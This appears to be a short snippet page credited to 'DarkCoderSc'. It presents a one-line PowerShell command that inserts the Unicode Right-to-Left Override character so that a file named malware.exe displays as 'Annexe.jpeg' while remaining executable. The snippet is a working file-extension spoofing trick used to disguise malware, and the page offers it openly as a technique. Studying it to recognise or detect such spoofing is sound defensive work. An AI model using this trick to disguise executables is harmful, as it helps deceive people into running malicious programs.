Windows PowerShell / Right-to-Left Override (RLO) Extension Spoofing by DarkCoderSc

Created the Thursday 03 August 2023. Updated 6 months ago.

Description:

In this example malware.exe becomes Annexe.jpeg but keeps its executable properties.

Code

            Rename-Item -Path malware.exe -NewName ("Ann" + ( [char]0x202E) + "gepj.exe")